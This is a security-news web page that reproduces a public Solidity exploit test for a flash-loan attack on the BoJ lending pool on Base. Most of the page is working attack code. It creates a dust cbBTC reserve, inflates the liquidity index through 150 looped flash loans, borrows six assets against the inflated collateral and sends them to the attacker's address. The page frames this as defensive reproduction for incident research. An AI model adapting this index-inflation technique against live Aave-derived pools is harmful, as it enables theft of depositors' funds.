Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/BoJLeverageMarket_exp.sol

Public reproduction file for dataset entry BoJLeverageMarket.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/BoJLeverageMarket_exp.sol192 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 7,227.59 USD
8// Attacker : 0xdf4089d9845C87ed8FD109bD724f30339C2d0B7B
9// Attack Contract : 0x1B7cDeE38912c679C9E496e8035B4bd1a5D3aEE0
10// Vulnerable Contract : 0x0B326E95e6EA0b50284b3e44b750fda4b4364E82
11// Attack Tx : https://basescan.org/tx/0x591567aed3ef606b3ad41f1ee6dfb1e9589aeff52d17c6c2c6f8dbdb8d238afd
12//
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xF441a52fc1898feBb78FBa81eeD3002cBB45d571#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1521
18//
19// Attack summary: The attacker used cbBTC flash liquidity to create a near-empty BoJ cbBTC reserve, repeatedly
20// accumulated flash-loan fees into the reserve index, then borrowed multiple listed assets against the inflated cbBTC
21// collateral value.
22// Root cause: The Aave-v3-derived pool allowed flash-loan fee accumulation to inflate the liquidity index while the
23// cbBTC aToken scaled supply was only dust.
25address constant ATTACKER = 0xdf4089d9845C87ed8FD109bD724f30339C2d0B7B;
26address constant TRACE_ATTACK_CONTRACT = 0x1B7cDeE38912c679C9E496e8035B4bd1a5D3aEE0;
27address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
28address constant BOJ_POOL = 0x0B326E95e6EA0b50284b3e44b750fda4b4364E82;
29address constant BOJ_POOL_IMPL = 0xF441a52fc1898feBb78FBa81eeD3002cBB45d571;
30address constant BOJ_CBBTC_ATOKEN = 0x51C4547A7b1739f6b226b24AcC33D8F6F7596cbB;
32IERC20 constant CBBTC = IERC20(0xcbB7C0000aB88B473b1f5aFd9ef808440eed33Bf);
33IERC20 constant WETH_TOKEN = IERC20(0x4200000000000000000000000000000000000006);
34IERC20 constant USDC_TOKEN = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
35IERC20 constant AERO_TOKEN = IERC20(0x940181a94A35A4569E4529A3CDfB74e38FD98631);
36IERC20 constant MORPHO_TOKEN = IERC20(0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842);
37IERC20 constant DEGEN_TOKEN = IERC20(0x4ed4E862860beD51a9570b96d89aF5E1B0Efefed);
38IERC20 constant VIRTUAL_TOKEN = IERC20(0x0b3e328455c4059EEb9e3f84b5543F74E24e7E1b);
40interface IBoJPool {
41 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
42 function withdraw(address asset, uint256 amount, address to) external returns (uint256);
43 function flashLoan(
44 address receiverAddress,
45 address[] calldata assets,
46 uint256[] calldata amounts,
47 uint256[] calldata interestRateModes,
48 address onBehalfOf,
49 bytes calldata params,
50 uint16 referralCode
51 ) external;
52 function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf)
53 external;
54 function getReserveNormalizedIncome(address asset) external view returns (uint256);
57contract ContractTest is BaseTestWithBalanceLog {
58 function setUp() public {
59 uint256 forkBlock = 33_136_655;
60 vm.createSelectFork("base", forkBlock);
62 multiAssetLog = true;
63 attacker = ATTACKER;
64 _addFundingToken(address(WETH_TOKEN));
65 _addFundingToken(address(USDC_TOKEN));
66 _addFundingToken(address(AERO_TOKEN));
68 vm.label(ATTACKER, "Attacker");
69 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
70 vm.label(MORPHO, "Morpho Blue");
71 vm.label(BOJ_POOL, "BoJ Pool Proxy");
72 vm.label(BOJ_POOL_IMPL, "BoJ Pool Implementation");
73 vm.label(BOJ_CBBTC_ATOKEN, "BoJ cbBTC aToken");
74 vm.label(address(CBBTC), "cbBTC");
75 vm.label(address(AERO_TOKEN), "AERO");
76 }
78 function testExploit() public balanceLog {
79 uint256 aTokenSupplyBefore = IScaledBalanceTokenLite(BOJ_CBBTC_ATOKEN).scaledTotalSupply();
80 uint256 indexBefore = IBoJPool(BOJ_POOL).getReserveNormalizedIncome(address(CBBTC));
81 uint256 aeroBefore = AERO_TOKEN.balanceOf(ATTACKER);
83 assertEq(aTokenSupplyBefore, 0, "cbBTC reserve starts with zero scaled supply");
84 assertEq(indexBefore, 1e27, "cbBTC reserve starts at base liquidity index");
86 BoJAttack attack = new BoJAttack();
87 vm.label(address(attack), "Local Attack Contract");
88 attack.execute();
90 assertGt(IBoJPool(BOJ_POOL).getReserveNormalizedIncome(address(CBBTC)), indexBefore, "index inflated");
91 assertEq(AERO_TOKEN.balanceOf(ATTACKER) - aeroBefore, 3_206_293_935_581_265_143_878, "AERO profit");
92 }
95contract BoJAttack {
96 IBoJPool private constant pool = IBoJPool(BOJ_POOL);
97 IMorphoBuleFlashLoan private constant morpho = IMorphoBuleFlashLoan(MORPHO);
99 function execute() external {
100 morpho.flashLoan(address(CBBTC), 10_537_110_432, "");
101 }
103 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
104 require(msg.sender == MORPHO, "only Morpho");
106 CBBTC.approve(BOJ_POOL, type(uint256).max);
108 // step 1: create one unit of scaled cbBTC supply in the BoJ reserve.
109 pool.deposit(address(CBBTC), 100, address(this), 0);
110 pool.withdraw(address(CBBTC), 99, address(this));
112 // step 2: donate cbBTC and repeatedly flash-loan it to compound fees into the liquidity index.
113 CBBTC.transfer(BOJ_CBBTC_ATOKEN, 7_024_740_288);
114 for (uint256 i = 0; i < 150; i++) {
115 _bojFlashLoan(7_024_740_288);
116 }
118 // step 3: borrow all trace profit assets against the inflated cbBTC collateral value.
119 _borrowAndForward(WETH_TOKEN, 521_472_358_420_158);
120 _borrowAndForward(USDC_TOKEN, 1_267_769_327);
121 _borrowAndForward(AERO_TOKEN, 3_206_293_935_581_265_143_878);
122 _borrowAndForward(MORPHO_TOKEN, 232_423_631_596_475_387_317);
123 _borrowAndForward(DEGEN_TOKEN, 109_893_180_044_731_784_967_907);
124 _borrowAndForward(VIRTUAL_TOKEN, 1_112_544_981_282_161_707_685);
126 // step 4: use a fresh helper to unwind enough inflated cbBTC collateral to repay Morpho.
127 BoJRecoveryHelper helper = new BoJRecoveryHelper();
128 CBBTC.approve(address(helper), type(uint256).max);
129 helper.recover();
131 CBBTC.approve(MORPHO, assets);
132 }
134 function executeOperation(
135 address[] calldata assets,
136 uint256[] calldata amounts,
137 uint256[] calldata premiums,
138 address,
139 bytes calldata
140 ) external returns (bool) {
141 require(msg.sender == BOJ_POOL, "only BoJ pool");
142 CBBTC.approve(BOJ_POOL, amounts[0] + premiums[0]);
143 assets;
144 return true;
145 }
147 function _bojFlashLoan(uint256 amount) private {
148 address[] memory assets = new address[](1);
149 uint256[] memory amounts = new uint256[](1);
150 uint256[] memory modes = new uint256[](1);
151 assets[0] = address(CBBTC);
152 amounts[0] = amount;
153 pool.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
154 }
156 function _borrowAndForward(IERC20 token, uint256 amount) private {
157 pool.borrow(address(token), amount, 2, 0, address(this));
158 token.transfer(ATTACKER, amount);
159 }
162contract BoJRecoveryHelper {
163 function recover() external {
164 CBBTC.transferFrom(msg.sender, address(this), 1_053_289_502);
165 CBBTC.approve(BOJ_POOL, type(uint256).max);
167 poolDeposit(1_053_289_502);
168 poolWithdraw(789_967_125);
170 for (uint256 i = 0; i < 29; i++) {
171 poolDeposit(526_644_751);
172 poolWithdraw(789_967_125);
173 }
175 poolDeposit(526_644_751);
176 poolWithdraw(705_214_071);
178 CBBTC.transfer(msg.sender, CBBTC.balanceOf(address(this)));
179 }
181 function poolDeposit(uint256 amount) private {
182 IBoJPool(BOJ_POOL).deposit(address(CBBTC), amount, address(this), 0);
183 }
185 function poolWithdraw(uint256 amount) private {
186 IBoJPool(BOJ_POOL).withdraw(address(CBBTC), amount, address(this));
187 }
190interface IScaledBalanceTokenLite {
191 function scaledTotalSupply() external view returns (uint256);

Analysis

Dataset entry

Public Foundry test for “BoJLeverageMarket” (2025-07-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdf4089d9845c87ed8fd109bd724f30339c2d0b7b

  • Attack Contract

    0x1b7cdee38912c679c9e496e8035b4bd1a5d3aee0

  • Vulnerable Contract

    0x0b326e95e6ea0b50284b3e44b750fda4b4364e82

  • Vulnerable Contract

    0xf441a52fc1898febb78fba81eed3002cbb45d571

  • Attack Tx

    0x591567aed3ef606b3ad41f1ee6dfb1e9589aeff52d17c6c2c6f8dbdb8d238afd

File record

Name
BoJLeverageMarket
Path
src/test/2025-07/BoJLeverageMarket_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
698ea3fc644c5f383b9a2db2a0a6e2c8fa266b05
Language
Solidity
Size
193 lines
Date
2025-07-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/BoJLeverageMarket_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 698ea3fc644c5f383b9a2db2a0a6e2c8fa266b05, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.